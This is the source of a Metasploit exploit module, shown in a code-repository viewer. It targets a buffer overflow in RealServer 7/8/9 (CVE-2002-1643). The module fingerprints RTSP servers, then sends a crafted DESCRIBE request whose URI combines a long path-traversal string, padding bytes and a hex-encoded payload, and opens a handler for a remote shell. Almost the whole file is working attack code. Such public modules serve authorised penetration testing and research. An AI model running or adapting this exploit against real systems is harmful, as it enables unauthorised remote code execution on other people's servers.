Statistics
| Branch: | Tag: | Revision:

root / modules / exploits / multi / realserver / describe.rb @ master

History | View | Annotate | Download (2.1 kB)

1
##
2
# $Id$
3
##
4

    
5
##
6
# This file is part of the Metasploit Framework and may be subject to
7
# redistribution and commercial restrictions. Please see the Metasploit
8
# web site for more information on licensing and terms of use.
9
#   http://metasploit.com/
10
##
11

    
12
require 'msf/core'
13
require 'msf/core/exploit/http/client'
14

    
15
class Metasploit3 < Msf::Exploit::Remote
16
        Rank = GreatRanking
17

    
18
        include Msf::Exploit::Remote::HttpClient
19

    
20
        def initialize(info = {})
21
                super(update_info(info,
22
                        'Name'           => 'RealServer Describe Buffer Overflow',
23
                        'Description'    => %q{
24
                                This module exploits a buffer overflow in RealServer 7/8/9
25
                                and was based on Johnny Cyberpunk's THCrealbad exploit. This
26
                                code should reliably exploit Linux, BSD, and Windows-based
27
                                servers.
28
                        },
29
                        'Author'         => 'hdm',
30
                        'Version'        => '$Revision$',
31
                        'References'     =>
32
                                [
33
                                        [ 'CVE', '2002-1643' ],
34
                                        [ 'OSVDB', '4468'],
35
                                        [ 'URL', 'http://lists.immunitysec.com/pipermail/dailydave/2003-August/000030.html']
36
                                ],
37
                        'Privileged'     => true,
38
                        'Payload'        =>
39
                                {
40
                                        'Space'    => 2000,
41
                                        'BadChars' => "\x00\x0a\x0d\x25\x2e\x2f\x5c\xff\x20\x3a\x26\x3f\x2e\x3d"
42
                                },
43
                        'Targets'        =>
44
                                [
45
                                        [
46
                                                'Universal',
47
                                                {
48
                                                        'Platform' => [ 'linux', 'bsd', 'win' ]
49
                                                },
50
                                        ],
51
                                ],
52
                        'DisclosureDate' => 'Dec 20 2002',
53
                        'DefaultTarget' => 0))
54
        end
55

    
56
        def check
57
                res = send_request_raw(
58
                        {
59
                                'method' => 'OPTIONS',
60
                                'proto'  => 'RTSP',
61
                                'version' => '1.0',
62
                                'uri'    => '/'
63
                        }, 5)
64

    
65
                info = http_fingerprint({ :response => res })  # check method / Custom server check
66
                if res and res['Server']
67
                        print_status("Found RTSP: #{res['Server']}")
68
                        return Exploit::CheckCode::Detected
69
                end
70
                Exploit::CheckCode::Safe
71
        end
72

    
73
        def exploit
74
                print_status("RealServer universal exploit launched against #{rhost}")
75
                print_status("Kill the master rmserver pid to prevent shell disconnect")
76

    
77
                encoded = Rex::Text.to_hex(payload.encoded, "%")
78

    
79
                res = send_request_raw({
80
                        'method' => 'DESCRIBE',
81
                        'proto'  => 'RTSP',
82
                        'version' => '1.0',
83
                        'uri'    => "/" + ("../" * 560) + "\xcc\xcc\x90\x90" + encoded + ".smi"
84
                }, 5)
85

    
86
                handler
87
        end
88

    
89
end